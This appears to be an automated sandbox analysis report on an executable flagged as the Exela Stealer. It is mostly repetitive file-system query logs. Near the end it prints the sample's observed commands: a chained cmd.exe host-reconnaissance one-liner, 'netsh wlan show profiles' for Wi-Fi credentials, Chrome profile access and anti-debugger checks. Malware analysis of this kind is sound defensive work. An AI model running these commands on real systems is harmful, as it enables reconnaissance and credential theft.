Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\yarl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_helpers.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_writer.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_parser.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\_uuid.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist\_frozenlist.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\_cffi_backend.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF6404EC330 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6404EC330

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF640504F10 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF640504F10

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\Desktop\rename_me_before.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Stealing of Sensitive Information

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
